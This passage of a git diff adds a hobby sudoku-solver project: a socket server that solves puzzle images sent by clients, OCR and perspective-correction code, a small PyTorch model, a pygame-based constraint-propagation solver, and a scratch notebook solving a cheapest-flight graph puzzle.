def wait_for_connect(self): + print("Waiting for client...") + self.sock2, self.address2 = self.sock.accept() + print(f"Connected to client with address: {self.address2}") + self.sock2.settimeout(1) + + def run(self): + self.sock.bind(self.address) + self.sock.listen() + print(f"Listening from address: {self.address}") + try: + while True: + self.wait_for_connect() + rec_buf = b'' + while True: + try: + rec = self.sock2.recv(1) + rec_buf += rec + if len(rec) == 0: + print("Lost connection") + break + except socket.timeout: + with open(temp_input_file, "wb") as f: + f.write(rec_buf) + rec_buf = b'' + grid_size, points = resolve_image(temp_input_file) + grid = Grid(rows=grid_size[0], columns=grid_size[1]) + assignment_values = {} + for val,loc in points: + assignment_values[loc] = val + grid.preassign(assignment_values) + grid.solve() + grid.save_grid_image(path=temp_result_file, size=(400,400)) + with open(temp_result_file, "rb") as f: + self.sock2.send(f.read()) + os.remove(temp_input_file) + os.remove(temp_result_file) + self.sock2.close() + break + finally: + try: + self.sock2.close() + except socket.error: + pass + except AttributeError: + pass + self.sock.close() + + def run_multiprocessing(self, max_clients:int=8): + self.sock.bind(self.address) + self.sock.listen() + print(f"Listening from address: {self.address}") + processes:dict[int,multiprocessing.Process]= {} + proc_num = 0 + try: + while True: + if len(processes) <= max_clients: + proc = multiprocessing.Process(target=process_handle_transaction, args=(proc_num, self.sock)) + proc.start() + processes[proc_num] = proc + proc_num += 1 + proc_num%=(max_clients*2) + keys = list(processes.keys()) + for proc_n in keys: + if not processes[proc_n].is_alive(): + processes.pop(proc_n) + finally: + if len(processes): + for proc in processes.values(): + proc.kill() + self.sock.close() + +if "__main__" == __name__: + parser = argparse.ArgumentParser() + parser.add_argument("--port", type=int, default=3535, help="The port to host the server.") + parser.add_argument("--host", type=str, default="localhost", help="The host or ip-address to host the server.") + args = parser.parse_args() + address = (args.host, args.port) + manager = Manager(address) + manager.run_multiprocessing(max_clients=multiprocessing.cpu_count()) \ No newline at end of file diff --git a/MachineLearning Projects/sudoku_solver/image.py b/MachineLearning Projects/sudoku_solver/image.py new file mode 100644 index 00000000..24ca83d4 --- /dev/null +++ b/MachineLearning Projects/sudoku_solver/image.py @@ -0,0 +1,141 @@ +import torch +from torch.utils.data import Dataset, DataLoader +import PIL.Image as Image +import pandas as pd +from tqdm import tqdm +import numpy as np + + +class SudokuDataset(Dataset): + def __init__(self, grid_locations_file:str, input_shape:tuple[int, int]) -> None: + super().__init__() + self.grid_locations = [] + self.image_filenames = [] + self.input_shape = input_shape + self.all_data = pd.read_csv(grid_locations_file, header=0) + self.image_filenames = list(self.all_data['filepath'].to_numpy()) + self.grid_locations = [list(a[1:]) for a in self.all_data.values] + to_pop = [] + for i,file in enumerate(self.image_filenames): + try: + Image.open(file) + except FileNotFoundError: + to_pop.append(i) + print(f"{file} not found.") + for i in reversed(to_pop): + self.image_filenames.pop(i) + self.grid_locations.pop(i) + # print(self.all_data.columns) + # print(self.grid_locations) + + def __len__(self) -> int: + return len(self.image_filenames) + + def __getitem__(self, index) -> dict[str, torch.Tensor]: + image = Image.open(self.image_filenames[index]).convert("L") + size = image.size + image = image.resize(self.input_shape) + image = np.array(image) + image = image.reshape((1,*image.shape)) + location = self.grid_locations[index] + for i in range(len(location)): + if i%2: + location[i] /= size[1] + else: + location[i] /= size[0] + return { + "image": torch.tensor(image, dtype=torch.float32)/255., + "grid": torch.tensor(location, dtype=torch.float32) + } + +class Model(torch.nn.Module): + def __init__(self, input_shape:tuple[int,int], number_of_layers:int, dims:int, *args, **kwargs) -> None: + super().__init__(*args, **kwargs) + self.input_shape = input_shape + self.conv_layers:list = [] + self.conv_layers.append(torch.nn.Conv2d(1, dims, (3,3), padding='same')) + for _ in range(number_of_layers-1): + self.conv_layers.append(torch.nn.Conv2d(dims, dims, (3,3), padding='same')) + self.conv_layers.append(torch.nn.LeakyReLU(negative_slope=0.01)) + self.conv_layers.append(torch.nn.MaxPool2d((2,2))) + self.conv_layers.append(torch.nn.BatchNorm2d(dims)) + self.flatten = torch.nn.Flatten() + self.location = [ + torch.nn.Linear(4107, 8), + torch.nn.Sigmoid() + ] + self.conv_layers = torch.nn.ModuleList(self.conv_layers) + self.location = torch.nn.ModuleList(self.location) + + def forward(self, x:torch.Tensor) -> torch.Tensor: + for layer in self.conv_layers: + x = layer(x) + x = self.flatten(x) + location = x + for layer in self.location: + location = layer(location) + return location + +def create_model(input_shape:tuple[int,int], number_of_layers:int, dims:int): + model = Model(input_shape, number_of_layers, dims) + for p in model.parameters(): + if p.dim() > 1: + torch.nn.init.xavier_uniform_(p) + return model + +def get_dataset(filename:str, input_shape:tuple[int,int], batch_size:int) -> DataLoader: + train_dataset = SudokuDataset(filename, input_shape) + train_dataloader = DataLoader(train_dataset, batch_size, shuffle=True) + return train_dataloader + +def train(epochs:int, config:dict, model:None|Model = None) -> Model: + device = torch.device('cuda' if torch.cuda.is_available() else 'cpu') + if not model: + print("========== Using new model =========") + model = create_model(config['input_shape'], config['number_of_layers'], config['dims']).to(device) + optimizer = torch.optim.Adam(model.parameters(), lr=config['lr']) + loss = torch.nn.MSELoss().to(device) + dataset = get_dataset(config['filename'], config['input_shape'], config['batch_size']) + prev_error = 0 + try: + for epoch in range(1, epochs+1): + batch_iterator = tqdm(dataset, f"Epoch {epoch}/{epochs}:") + for batch in batch_iterator: + x = batch['image'].to(device) + y_true = batch['grid'].to(device) + # print(batch['grid']) + # return + y_pred = model(x) + error = loss(y_true, y_pred) + batch_iterator.set_postfix({"loss":f"Loss: {error.item():6.6f}"}) + error.backward() + optimizer.step() + # optimizer.zero_grad() + if abs(error-0.5) < 0.05:# or (prev_error-error)<0.000001: + del(model) + model = create_model(config['input_shape'], config['number_of_layers'], config['dims']).to(device) + print("New model created") + prev_error = error + except KeyboardInterrupt: + torch.save(model, "model.pt") + return model + +def test(config:dict, model_filename:str): + device = torch.device('cuda' if torch.cuda.is_available() else 'cpu') + model = torch.load("model.pt").to(device) + loss = torch.nn.MSELoss().to(device) + dataset = get_dataset(config['filename'], config['input_shape'], config['batch_size']) + + +if __name__ == '__main__': + config = { + "input_shape": (300,300), + "filename": "archive/outlines_sorted.csv", + "number_of_layers": 4, + "dims": 3, + "batch_size": 8, + "lr": 1e-5 + } + # model = train(50, config) + model = torch.load("model.pt") + test(config, model) \ No newline at end of file diff --git a/MachineLearning Projects/sudoku_solver/model.pt b/MachineLearning Projects/sudoku_solver/model.pt new file mode 100644 index 00000000..ba421a06 Binary files /dev/null and b/MachineLearning Projects/sudoku_solver/model.pt differ diff --git a/MachineLearning Projects/sudoku_solver/perspective.py b/MachineLearning Projects/sudoku_solver/perspective.py new file mode 100644 index 00000000..3c79c78d --- /dev/null +++ b/MachineLearning Projects/sudoku_solver/perspective.py @@ -0,0 +1,98 @@ +import cv2 +import numpy as np +from pytesseract import pytesseract as pt + +def resolve_perspective(source_image:np.ndarray, points:np.ndarray, target_shape:tuple[int,int]) -> np.ndarray: + """Takes an source image and transforms takes the region demarkated by points and creates a rectangular image of target. + + Args: + source_image (np.ndarray): the source image. + points (np.ndarray): a numpy array of 4 points that will demarkate the vertices of the region to be transformed.\n + \tShould be in the form of points from the point that would be transformed to the top left of the rectangle, clockwise + target_shape (tuple[int,int]): the target shape of the rectangular output image. Format [height, width]. + + Returns: + np.ndarray: the output image transformed + """ + output_points:np.ndarray = np.array([ + [0,0], + [target_shape[0]-1, 0], + [target_shape[0]-1, target_shape[1]-1], + [0,target_shape[1]-1] + ], dtype=np.float32) + transformation_matrix:cv2.typing.MatLike = cv2.getPerspectiveTransform(points.astype(np.float32), output_points) + output:cv2.typing.MatLike = cv2.warpPerspective(source_image, transformation_matrix, (target_shape[1], target_shape[0]), flags=cv2.INTER_LINEAR) + return output + +def get_grid_size(image:np.ndarray, boxes:list[list[int]], allowed_sizes:list[tuple[int,int]]=[(2,3),(3,3),(4,4)]) -> tuple[int,int]: + h,w = image.shape + for size in allowed_sizes: + s1 = float(w)/float(size[0]) + s2 = float(h)/float(size[1]) + for box in boxes: + _,x1,y1,x2,y2 = box + if (abs(int(x1/s1) - int(x2/s1)) + abs(int((h - y1)/s2) - int((h - y2)/s2))) > 0: + break + else: + return size + +def get_points(image:np.ndarray, boxes:list[list[int]], grid_size:tuple[int,int]) -> list[tuple[int,tuple]]: + h,w = image.shape + size = grid_size[0] * grid_size[1] + s1 = float(w)/float(size) + s2 = float(h)/float(size) + results = [] + for box in boxes: + val,x1,y1,x2,y2 = box + center_x = int((x1+x2)/2) + center_y = int((y1+y2)/2) + results.append((val, (int((h-center_y)/s2), int(center_x/s1)))) + return results + +def resolve_image(path:str) -> tuple[tuple,list[tuple[int,tuple]]]: + # img = cv2.imread("images/image210.jpg") + img = cv2.imread(path) + numbers = [str(i) for i in range(10)] + max_size = 500 + min_area = 150 + *img_shape,_ = img.shape + max_ind = np.argmax(img_shape) + min_ind = np.argmin(img_shape) + next_shape = [0,0] + if max_ind != min_ind: + next_shape[max_ind] = max_size + next_shape[min_ind] = int(img_shape[min_ind]*max_size/img_shape[max_ind]) + else: + next_shape = [max_size, max_size] + img = cv2.resize(img, tuple(reversed(next_shape))) + points = np.array([6,97,219,99,216,309,7,310]) + points = points.reshape((4,2)) + target_shape = (400,400) + output = resolve_perspective(img, points, target_shape) + output = cv2.cvtColor(output, cv2.COLOR_BGR2GRAY) + norm_img = np.zeros((output.shape[0], output.shape[1])) + output = cv2.normalize(output, norm_img, 0, 255, cv2.NORM_MINMAX) + output1 = cv2.threshold(output, 140, 255, cv2.THRESH_BINARY_INV)[1] + if np.average(output1.flatten()) > 128: + output = cv2.threshold(output, 140, 255, cv2.THRESH_BINARY)[1] + else: + output = output1 + output = cv2.GaussianBlur(output, (1,1), 0) + boxes = pt.image_to_boxes(output, "eng", config=r'-c tessedit_char_whitelist=0123456789 --psm 13 --oem 3') + print(boxes) + h,w = output.shape + new_boxes_str = "" + new_boxes = [] + for bt in boxes.splitlines(): + b = bt.split(' ') + area = (int(b[1]) - int(b[3]))*(int(b[2]) - int(b[4])) + if b[0] in numbers and area > min_area: + output = cv2.rectangle(output, (int(b[1]), h - int(b[2])), (int(b[3]), h - int(b[4])), (255, 255, 255), 2) + new_boxes_str += bt + "\n" + new_boxes.append(list(int(i) for i in b[:5])) + grid_size = get_grid_size(output, new_boxes) + final_points = get_points(output, new_boxes, grid_size) + return grid_size,final_points + +if "__main__" == __name__: + print(resolve_image("f2.jpg")) \ No newline at end of file diff --git a/MachineLearning Projects/sudoku_solver/resultfile2_server.png b/MachineLearning Projects/sudoku_solver/resultfile2_server.png new file mode 100644 index 00000000..d6af2f3c Binary files /dev/null and b/MachineLearning Projects/sudoku_solver/resultfile2_server.png differ diff --git a/MachineLearning Projects/sudoku_solver/sudoku.py b/MachineLearning Projects/sudoku_solver/sudoku.py new file mode 100644 index 00000000..fa5dc225 --- /dev/null +++ b/MachineLearning Projects/sudoku_solver/sudoku.py @@ -0,0 +1,373 @@ +"""This python script contains a class to solve a sudoku. +""" + +from copy import deepcopy +import pygame as pg + +VISITED_COLOR = (50,50,50) +AGENT_COLOR = (255,0,0) +BOARD_COLOR = (0,0,0) +WALL_COLOR = (255,255,255) +SOLUTION_COLOR = (0,255,0) +START_CELL_COLOR = (200,0,200) +END_CELL_COLOR = (0,128,128) + +SIZE = (600,600) + +class Cell(): + """Cell element of sudoku. + """ + def __init__(self, name:int|str, domain:list[int]) -> None: + """Initialise a cell of the sudoku. + + Args: + name (int): the actual cell position. + domain (list[int]): list of all the possible values the cell can take. + """ + self.name = name + self.value:int|str = None + self.domain:list[int] = deepcopy(domain) + +class Grid(): + """The actual sudoku grid. + """ + def __init__(self, rows:int|None = None, columns:int|None = None) -> None: + """Initialise the sudoku grid. + + Args: + rows (int | None, optional): The number of rows in a block eg 3 for a 9x9 sudoku. Defaults to None. + columns (int | None, optional): The number of columns in a block. Defaults to None. + """ + self.rows = rows + self.columns = columns + if not self.rows or not self.columns: + return + self.grid_len = self.rows * self.columns + self.domain:list[int] = [i for i in range(1, min(10, self.grid_len+1))] + if self.grid_len >= 10: + self.domain.extend(chr(ord('A') + i - 10) for i in range(10, self.grid_len+1)) + self.cells:list[Cell] = [Cell(i, self.domain) for i in range(self.grid_len * self.grid_len)] + self.unsolved_cells:list[int] = [i for i in range(self.grid_len * self.grid_len)] + self.solved_cells:list[int] = [] + self.initial_solved:list[int] = [] + self.initial_unsolved:list[int] = [i for i in range(self.grid_len * self.grid_len)] + + def preassign(self, values:dict[tuple, int]) -> None: + """Preassigns particular value to the cells already given in the problem. + + Args: + values (dict[tuple, int]): a dictionary with keys of the (row,column) and value of the actual value of the cell. + """ + for i, value in values.items(): + number = int(i[0]*self.grid_len + i[1]) + if number in self.initial_solved: + self.unassign_last(number) + self.cells[number].value = value + self.cells[number].domain = [] + self.unsolved_cells.remove(number) + self.initial_unsolved.remove(number) + self.initial_solved.append(number) + self.solved_cells.append(number) + + def unassign_last(self, number:int|None = None): + """Unassigns either the last value assigned to a cell or a particular cell given by number. + + Args: + number (int | None, optional): The number of the cell in the grid, starting from 0 at the top right and moving left. Defaults to None. + """ + if not number: + number = self.solved_cells.pop() + self.initial_solved.pop() + else: + self.solved_cells.remove(number) + self.initial_solved.remove(number) + self.unsolved_cells.append(number) + self.initial_unsolved.append(number) + self.cells[number].domain = deepcopy(self.domain) + self.cells[number].value = None + + def solve(self) -> None: + """Tries to solve the sudoku. + """ + while len(self.unsolved_cells) > 0: + changed = False + i = 0 + # first update domains based on known cells + while i < len(self.solved_cells): + val = self.cells[self.solved_cells[i]].value + r,c = int(self.solved_cells[i]/self.grid_len), int(self.solved_cells[i]%self.grid_len) + # first check cells on the same row + for j in range(r*self.grid_len, (r+1)*self.grid_len): + try: + self.cells[j].domain.remove(val) + if len(self.cells[j].domain) == 1: + self.cells[j].value = self.cells[j].domain[0] + self.cells[j].domain = [] + self.unsolved_cells.remove(j) + self.solved_cells.append(j) + changed = True + i = -1 + except ValueError: + pass + # next check cells on the same column + for k in range(self.grid_len): + j = k*self.grid_len + c + try: + self.cells[j].domain.remove(val) + if len(self.cells[j].domain) == 1: + self.cells[j].value = self.cells[j].domain[0] + self.cells[j].domain = [] + self.unsolved_cells.remove(j) + self.solved_cells.append(j) + changed = True + i = -1 + except ValueError: + pass + # next check cells on the same block + br = int(r/self.rows) + bc = int(c/self.columns) + for k in range(self.grid_len): + cr = br*self.rows + int(k/self.columns) + cc = bc*self.columns + int(k%self.columns) + j = cr*self.grid_len + cc + try: + self.cells[j].domain.remove(val) + if len(self.cells[j].domain) == 1: + self.cells[j].value = self.cells[j].domain[0] + self.cells[j].domain = [] + self.unsolved_cells.remove(j) + self.solved_cells.append(j) + changed = True + i = -1 + except ValueError: + pass + i += 1 + # next check for unique value in domains of cells in row column or block + # first check rows + to_break = False + for k in range(self.grid_len): + values:dict[int|str, list[int]] = {val:[] for val in self.domain} + for m in range(self.grid_len): + j = k*self.grid_len + m + for v in self.cells[j].domain: + values[v].append(j) + for val,ls in values.items(): + if len(ls) == 1: + self.cells[ls[0]].value = val + self.cells[ls[0]].domain = [] + self.unsolved_cells.remove(ls[0]) + self.solved_cells.append(ls[0]) + to_break = True + break + if to_break: + break + if to_break: + continue + # first check columns + to_break = False + for k in range(self.grid_len): + values:dict[int|str, list[int]] = {val:[] for val in self.domain} + for m in range(self.grid_len): + j = m*self.grid_len + k + for v in self.cells[j].domain: + values[v].append(j) + for val,ls in values.items(): + if len(ls) == 1: + self.cells[ls[0]].value = val + self.cells[ls[0]].domain = [] + self.unsolved_cells.remove(ls[0]) + self.solved_cells.append(ls[0]) + to_break = True + break + if to_break: + break + if to_break: + continue + if not changed: + return + + def render_cells(self, window:pg.Surface) -> None: + """Draws the grid and populates it with the value of the cells. + + Args: + window (pg.Surface): a pygame window to be used to populate the grid and cells. + """ + size = window.get_size() + py = int(size[1] / self.grid_len) + px = int(size[0] / self.grid_len) + ball = pg.Rect(0, 0, size[0], size[1]) + pg.draw.rect(window, BOARD_COLOR, ball) + for i in range(self.grid_len+1): + if i%self.columns: + pg.draw.line(window, VISITED_COLOR, (i*px, 0), (i*px, size[1])) + else: + pg.draw.line(window, WALL_COLOR, (i*px, 0), (i*px, size[1])) + if i%self.rows: + pg.draw.line(window, VISITED_COLOR, (0, i*py), (size[0], i*py)) + else: + pg.draw.line(window, WALL_COLOR, (0, i*py), (size[0], i*py)) + font = pg.font.SysFont(None, min(py, px)) + for i in self.initial_solved: + text = font.render(str(self.cells[i].value), True, AGENT_COLOR, BOARD_COLOR) + textRect = text.get_rect() + y = int(i/self.grid_len) + x = int(i%self.grid_len) + textRect.center = (int((x+0.5)*px),int((y+0.5)*py)) + window.blit(text, textRect) + for i in self.initial_unsolved: + if val:=self.cells[i].value: + text = font.render(str(val), True, SOLUTION_COLOR, BOARD_COLOR) + textRect = text.get_rect() + y = int(i/self.grid_len) + x = int(i%self.grid_len) + textRect.center = (int((x+0.5)*px),int((y+0.5)*py)) + window.blit(text, textRect) + # else: + # for dv in self.cells[i].domain: + # text = font.render(str(val), True, SOLUTION_COLOR, BOARD_COLOR) + # textRect = text.get_rect() + # y = int(i/self.grid_len) + # x = int(i%self.grid_len) + # textRect.center = (int((x+0.5)*px),int((y+0.5)*py)) + # window.blit(text, textRect) + + def render_grid(self, size:tuple[int, int]=SIZE) -> None: + """Creates the grid window and renders it. + + Args: + size (tuple[int, int], optional): The size of the window to be used. Defaults to (600,600). + """ + pg.init() + window = pg.display.set_mode(size) + window.fill(BOARD_COLOR) + while True: + for event in pg.event.get(): + if event.type == pg.QUIT: + pg.display.quit() + return + self.render_cells(window) + pg.display.update() + + def input_to_grid(self, size:tuple[int, int]=SIZE) -> None: + """Allows for input of the value of the grid cells by clicking on a cell and typing the value. + + Args: + size (tuple[int, int], optional): The size of the window to which the grid will be rendered. Defaults to (600,600). + """ + pg.init() + window = pg.display.set_mode(size) + window.fill(BOARD_COLOR) + size = window.get_size() + py = int(size[1] / self.grid_len) + px = int(size[0] / self.grid_len) + clicked_cell = None + while True: + for event in pg.event.get(): + if event.type == pg.QUIT: + pg.display.quit() + return + if event.type == pg.MOUSEBUTTONUP: + clicked_cell = event.dict['pos'] + if event.type == pg.KEYDOWN: + key = event.dict['unicode'] + if key >= '0' and key <= '9': + if clicked_cell: + pos = (int(clicked_cell[1] / py), int(clicked_cell[0] / px)) + if int(key) <= self.grid_len: + self.preassign({pos:int(key)}) + elif key >= 'A' and key <= 'Z': + if clicked_cell: + pos = (int(clicked_cell[1] / py), int(clicked_cell[0] / px)) + if (ord(key) - ord('A') + 10) <= self.grid_len: + self.preassign({pos:key}) + elif key == ' ': + self.unassign_last() + self.render_cells(window) + pg.display.update() + + def save(self, filename:str) -> None: + """Saves the current state of the grid in a file.\n + Save format is:\n + rows,columns\n + (cell_number,cell_value)|(cell_number,cell_value)|...|(cell_number,cell_value)\n + (cell_number,cell_value)|(cell_number,cell_value)|...|(cell_number,cell_value)\n + \n + where the second line is the initial cell values before trying to solve\n + \t the third line is the initially unsolved cell values after solving if Grid.solve() has been run\n + + Args: + filename (str): The path of the file to be saved to. + """ + s = f"{self.rows},{self.columns}\n" + s += "|".join(f"({a},{self.cells[a].value})" for a in self.initial_solved) + s += "\n" + s += "|".join(f"({a},{self.cells[a].value})" for a in self.initial_unsolved) + with open(filename, 'w') as f: + f.write(s) + f.close() + + def load(self, filename:str): + """Loads the grid from a saved state file created by calling Grid.save(filename) + + Args: + filename (str): The path to the file containing the grid status to be loaded. + """ + with open(filename, 'r') as f: + for i,line in enumerate(f): + line = line.replace("\n","") + if i == 0: + rows, columns = line.replace("(","").replace(")","").split(",") + self.rows = int(rows) + self.columns = int(columns) + elif i == 1: + initial_solved_pairs = [tuple(int(i) for i in a.split(",")) for a in line.replace("(","").replace(")","").split("|")] + elif i == 2: + initial_unsolved_pairs = [tuple(eval(i) for i in a.split(",")) for a in line.replace("(","").replace(")","").split("|")] + f.close() + self.grid_len = self.rows * self.columns + self.domain:list[int] = [i for i in range(1, min(10, self.grid_len+1))] + if self.grid_len >= 10: + self.domain.extend(chr(ord('A') + i - 10) for i in range(10, self.grid_len+1)) + self.cells:list[Cell] = [Cell(i, self.domain) for i in range(self.grid_len * self.grid_len)] + self.unsolved_cells:list[int] = [i for i in range(self.grid_len * self.grid_len)] + self.solved_cells:list[int] = [] + self.initial_solved:list[int] = [] + self.initial_unsolved:list[int] = [i for i in range(self.grid_len * self.grid_len)] + for (number,value) in initial_solved_pairs: + self.initial_solved.append(number) + self.solved_cells.append(number) + self.cells[number].value = value + self.cells[number].domain = [] + self.initial_unsolved.remove(number) + self.unsolved_cells.remove(number) + for (number,value) in initial_unsolved_pairs: + if value: + self.solved_cells.append(number) + self.cells[number].value = value + self.cells[number].domain = [] + self.unsolved_cells.remove(number) + + def save_grid_image(self, path:str, size:tuple[int, int]=SIZE) -> None: + pg.init() + window = pg.display.set_mode(size) + window.fill(BOARD_COLOR) + self.render_cells(window) + pg.image.save(window, path) + pg.quit() + +def main(): + r = int(input("Enter number of rows in a block: ")) + c = int(input("Enter number of columns in a block: ")) + grid = Grid(r,c) + # grid = Grid() + # grid.load("s2.txt") + grid.input_to_grid() + grid.save("s3.txt") + grid.solve() + grid.save("s3.txt") + # grid = Grid() + # grid.load("s1.txt") + grid.render_grid() + +if __name__ == "__main__": + main() diff --git a/MachineLearning Projects/sudoku_solver/temp.ipynb b/MachineLearning Projects/sudoku_solver/temp.ipynb new file mode 100644 index 00000000..0737eb93 --- /dev/null +++ b/MachineLearning Projects/sudoku_solver/temp.ipynb @@ -0,0 +1,230 @@ +{ + "cells": [ + { + "cell_type": "code", + "execution_count": 22, + "metadata": {}, + "outputs": [], + "source": [ + "class Node:\n", + " def __init__(self,val):\n", + " self.val = val\n", + " self.to = {}" + ] + }, + { + "cell_type": "code", + "execution_count": 137, + "metadata": {}, + "outputs": [], + "source": [ + "class Node:\n", + " def __init__(self,val):\n", + " self.val:int = val\n", + " self.to:dict[Node,tuple[int,int]] = {} # destinationNode:(steps,price)\n", + " \n", + " def __str__(self) -> str:\n", + " children = ','.join(str(i.val) for i in self.to.keys())\n", + " return f\"Node({self.val})\"\n", + " \n", + " def __repr__(self) -> str:\n", + " children = ','.join(str(i.val) for i in self.to.keys())\n", + " return f\"Node({self.val})\"\n", + " \n", + " def full(self) -> str:\n", + " children = ','.join(str(i.val) for i in self.to.keys())\n", + " return f\"Node({self.val})->[{children}]\"\n", + "\n", + "def update(node:Node, start:list[int]):\n", + " # print(\"iter\", node, start)\n", + " if node.val in start:\n", + " # print(\"found: \", node, \" => \", start)\n", + " return {}\n", + " ret:dict[Node,set[tuple[int,int]]] = {\n", + " i:set([tuple(node.to[i]),]) for i in node.to.keys()\n", + " } # destinationNode:[(steps1,price1), (steps2,price2), ...]\n", + " for destinationNode,(steps,price) in node.to.items():\n", + " # print(f\"step {node} to {destinationNode}\")\n", + " returned = update(destinationNode, [*start,node.val])\n", + " # print(f\"{node.val} going to {destinationNode.val} got {returned}\")\n", + " if returned == {}:\n", + " # print(f\"here on\")\n", + " ret[destinationNode].add((steps,price))\n", + " continue\n", + " for v,mylist in returned.items():\n", + " # v is the a possible destination from our destination node\n", + " # my list is a list of the steps and prices to that possible destination\n", + " for (stp,prc) in mylist:\n", + " newTuple = (stp+steps,prc+price)\n", + " if ret.get(v):\n", + " ret[v].add(newTuple)\n", + " else:\n", + " ret[v] = set([newTuple,])\n", + " return ret" + ] + }, + { + "cell_type": "code", + "execution_count": 176, + "metadata": {}, + "outputs": [], + "source": [ + "from cmath import inf\n", + "\n", + "def findCheapestPrice(n: int, flights: list[list[int]], src: int, dst: int, k: int) -> int:\n", + " nodes:dict[int,Node] = {}\n", + " for s,d,p in flights:\n", + " dnode = nodes.get(d)\n", + " if dnode:\n", + " snode = nodes.get(s)\n", + " if snode:\n", + " snode.to[dnode] = (1,p)\n", + " else:\n", + " nd = Node(s)\n", + " nd.to[dnode] = (1,p)\n", + " nodes[s] = nd\n", + " else:\n", + " snode = nodes.get(s)\n", + " if snode:\n", + " nd = Node(d)\n", + " snode.to[nd] = (1,p)\n", + " nodes[d] = nd\n", + " else:\n", + " nd1 = Node(s)\n", + " nd2 = Node(d)\n", + " nd1.to[nd2] = (1,p)\n", + " nodes[s] = nd1\n", + " nodes[d] = nd2\n", + " for _,node in nodes.items():\n", + " print(node.full())\n", + " return method2(nodes, src, dst, k)\n", + "\n", + "def method1(nodes:dict[int,Node], src:int, dst:int, k:int) -> int:\n", + " results = {}\n", + " for val,node in nodes.items():\n", + " ret = update(node, [])\n", + " results[val] = ret\n", + " desired = results[src].get(nodes[dst])\n", + " if not desired:\n", + " return -1\n", + " filtered = []\n", + " k = k + 1\n", + " for d in desired:\n", + " if d[0] <= k:\n", + " filtered.append(d)\n", + " return min(filtered, key=lambda x:x[1])\n", + "\n", + "def method2(nodes:dict[int,Node], src:int, dst:int, k:int) -> int:\n", + " def recurse(node:Node, dst:int, k:int, visited:list[int]):\n", + " results = []\n", + " if k == 1:\n", + " for nd in node.to.keys():\n", + " if nd.val == dst:\n", + " return node.to[nd][1]\n", + " return inf\n", + " if node.val in visited:\n", + " return inf\n", + " for nd in node.to.keys():\n", + " if nd.val == dst:\n", + " results.append(node.to[nd][1])\n", + " else:\n", + " temp = recurse(nd, dst, k-1, [*visited, node.val]) + node.to[nd][1]\n", + " results.append(temp)\n", + " if len(results):\n", + " return min(results)\n", + " return inf\n", + " \n", + " k = k+1\n", + " node = nodes[src]\n", + " result = recurse(node, dst, k, [])\n", + " if result == inf:\n", + " return -1\n", + " return result" + ] + }, + { + "cell_type": "code", + "execution_count": 157, + "metadata": {}, + "outputs": [ + { + "data": { + "text/plain": [ + "100" + ] + }, + "execution_count": 157, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "findCheapestPrice(n = 3, flights = [[0,1,100],[1,2,100],[0,2,500]], src = 0, dst = 2, k = 1)" + ] + }, + { + "cell_type": "code", + "execution_count": 178, + "metadata": {}, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "Node(0)->[12,8,15,10]\n", + "Node(12)->[4,3,14,13,9,0,16,6]\n", + "Node(5)->[6,14,13,16,10,9,7]\n", + "Node(6)->[14,10,2,12]\n", + "Node(8)->[6,10,11,9,2,13,3]\n", + "Node(13)->[15,12,6,16,0,5,11,7,8]\n", + "Node(15)->[3,0,6,13,12,11,14,2]\n", + "Node(10)->[12,2,15,11,5,4,9,0,7]\n", + "Node(3)->[4,12,5,6,7,10]\n", + "Node(7)->[11,3,1,14,0,12,2]\n", + "Node(11)->[16,1,0,2,6,9]\n", + "Node(9)->[4,6,1,12,7,10,15,5]\n", + "Node(4)->[7,9,8,5,11,10]\n", + "Node(2)->[12,0,11,5,13,10,7]\n", + "Node(14)->[15,1,9,7,11,6]\n", + "Node(16)->[4,12,1,3,8,11,9,14]\n", + "Node(1)->[11,4,3,7]\n" + ] + }, + { + "data": { + "text/plain": [ + "47" + ] + }, + "execution_count": 178, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "findCheapestPrice(n = 4, flights = [[0,12,28],[5,6,39],[8,6,59],[13,15,7],[13,12,38],[10,12,35],[15,3,23],[7,11,26],[9,4,65],[10,2,38],[4,7,7],[14,15,31],[2,12,44],[8,10,34],[13,6,29],[5,14,89],[11,16,13],[7,3,46],[10,15,19],[12,4,58],[13,16,11],[16,4,76],[2,0,12],[15,0,22],[16,12,13],[7,1,29],[7,14,100],[16,1,14],[9,6,74],[11,1,73],[2,11,60],[10,11,85],[2,5,49],[3,4,17],[4,9,77],[16,3,47],[15,6,78],[14,1,90],[10,5,95],[1,11,30],[11,0,37],[10,4,86],[0,8,57],[6,14,68],[16,8,3],[13,0,65],[2,13,6],[5,13,5],[8,11,31],[6,10,20],[6,2,33],[9,1,3],[14,9,58],[12,3,19],[11,2,74],[12,14,48],[16,11,100],[3,12,38],[12,13,77],[10,9,99],[15,13,98],[15,12,71],[1,4,28],[7,0,83],[3,5,100],[8,9,14],[15,11,57],[3,6,65],[1,3,45],[14,7,74],[2,10,39],[4,8,73],[13,5,77],[10,0,43],[12,9,92],[8,2,26],[1,7,7],[9,12,10],[13,11,64],[8,13,80],[6,12,74],[9,7,35],[0,15,48],[3,7,87],[16,9,42],[5,16,64],[4,5,65],[15,14,70],[12,0,13],[16,14,52],[3,10,80],[14,11,85],[15,2,77],[4,11,19],[2,7,49],[10,7,78],[14,6,84],[13,7,50],[11,6,75],[5,10,46],[13,8,43],[9,10,49],[7,12,64],[0,10,76],[5,9,77],[8,3,28],[11,9,28],[12,16,87],[12,6,24],[9,15,94],[5,7,77],[4,10,18],[7,2,11],[9,5,41]], src = 13, dst = 4, k = 13)" + ] + } + ], + "metadata": { + "kernelspec": { + "display_name": "base", + "language": "python", + "name": "python3" + }, + "language_info": { + "codemirror_mode": { + "name": "ipython", + "version": 3 + }, + "file_extension": ".py", + "mimetype": "text/x-python", + "name": "python", + "nbconvert_exporter": "python", + "pygments_lexer": "ipython3", + "version": "3.12.4" + } + }, + "nbformat": 4, + "nbformat_minor": 2 +} diff --git a/MachineLearning Projects/sudoku_solver/temp.py b/MachineLearning Projects/sudoku_solver/temp.py new file mode 100644 index 00000000..553f0531 --- /dev/null +++ b/MachineLearning Projects/sudoku_solver/temp.py @@ -0,0 +1,2 @@ +while True: + pass \ No newline at end of file diff --git a/MachineLearning Projects/sudoku_solver/tempfile1.jpg b/MachineLearning Projects/sudoku_solver/tempfile1.jpg new file mode 100644 index 00000000..7e398e54 Binary files /dev/null and b/MachineLearning Projects/sudoku_solver/tempfile1.jpg differ diff --git a/MachineLearning Projects/sudoku_solver/tempfile2.jpg b/MachineLearning Projects/sudoku_solver/tempfile2.jpg new file mode 100644 index 00000000..b0069382 Binary files /dev/null and 